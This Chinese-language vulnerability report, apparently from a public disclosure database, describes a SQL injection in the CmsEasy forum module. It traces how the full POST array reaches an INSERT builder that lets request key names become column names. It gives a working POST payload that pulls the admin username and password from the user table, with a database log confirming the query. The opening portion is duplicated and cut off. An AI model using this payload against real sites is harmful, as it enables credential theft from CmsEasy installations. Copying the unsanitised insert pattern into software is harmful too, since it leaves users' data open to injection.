### 简要描述: 注入。。 ### 详细说明: bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入 /bbs/add-archive.php 30行 ``` if($id = $archive->inserData($_POST)){ ``` 直接带入整个$_POST /bbs/model/db/base.php 38行 ``` public function inserData($data){ $r = $this->odb->insert($this->tblName,$data); //在跟入 if($r) return $this->odb->getInsertId(); else return false; } ``` /bbs/commonlib/db.php ``` public function insert($table, $data) { $sql = $this->getInsertString($table, $data);//拼接sql 继续看。。 return $this->execSql($sql); } ``` ``` public function getInsertString($table, $data) { $n_str = ''; $v_str = ''; $table = $this->filterString($table); foreach ($data as $k => $v)//遍历数据 因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值 { $n_str .= $this->filterString($k).','; $v_str .= "'".$this->filterString($v)."',"; } $n_str = preg_replace( "/,$/", "", $n_str ); $v_str = preg_replace( "/,$/", "", $v_str ); $str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')'; return $str; } ``` ``` public function filterString($str) { if...
### 简要描述: 注入。。 ### 详细说明: bbs中发文章的时候 直接把$_POST数据带入 拼接sql功能函数中导致注入 /bbs/add-archive.php 30行 ``` if($id = $archive->inserData($_POST)){ ``` 直接带入整个$_POST /bbs/model/db/base.php 38行 ``` public function inserData($data){ $r = $this->odb->insert($this->tblName,$data); //在跟入 if($r) return $this->odb->getInsertId(); else return false; } ``` /bbs/commonlib/db.php ``` public function insert($table, $data) { $sql = $this->getInsertString($table, $data);//拼接sql 继续看。。 return $this->execSql($sql); } ``` ``` public function getInsertString($table, $data) { $n_str = ''; $v_str = ''; $table = $this->filterString($table); foreach ($data as $k => $v)//遍历数据 因为穿过来的是整个$_POST所以 我们可以任意控制 列明和值 { $n_str .= $this->filterString($k).','; $v_str .= "'".$this->filterString($v)."',"; } $n_str = preg_replace( "/,$/", "", $n_str ); $v_str = preg_replace( "/,$/", "", $v_str ); $str = 'INSERT INTO '.$table.' ('.$n_str.') VALUES('.$v_str.')'; return $str; } ``` ``` public function filterString($str) { if ($this->magic_quotes) { $str = stripslashes($str); } if ( is_numeric($str) ) { return $str; } else { $ret = @mysqli_real_escape_string($this->con, $str); if ( strlen($str) && !isset($ret) ) { $r = $this->checkConnection(); if ($r !== true) { $this->closeDB(); $ret = $str; } } return $ret; } } ``` 过滤也没什么用 因为没过滤关键一些语句 里面还有一个360safe.php的脚本 但是 这个并不过滤键名 只过滤键值 还有一个变量名中的点和空格被转换成下划线。不过不用空格也是可以的。。 exp: http://127.0.0.1/PHP/CmsEasy/bbs/add-archive.php?cid=1 (POST) title=a&content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID%3D1)))#=c&submit=a&verify=HKCX ### 漏洞证明: mysql 日志 : 2070 QueryINSERT INTO cmseasy_bbs_archive (title,content)values(1,(SELECT(CONCAT(USERNAME,0x7c,PASSWORD))FROM(cmseasy_user)WHERE(USERID=1)))#,username,userid,ip,addtime) VALUES('a','c','123213','4','127.0.0.1','1403698291') [<img src="https://images.seebug.org/upload/201406/2520134235043d66399b43629d4c7d2c66a1e576.png" alt="a0625201127.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2520134235043d66399b43629d4c7d2c66a1e576.png) [<img src="https://images.seebug.org/upload/201406/25201404c8d4777b14be7367d9ae24aee5c6eab6.png" alt="qwewqe.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/25201404c8d4777b14be7367d9ae24aee5c6eab6.png)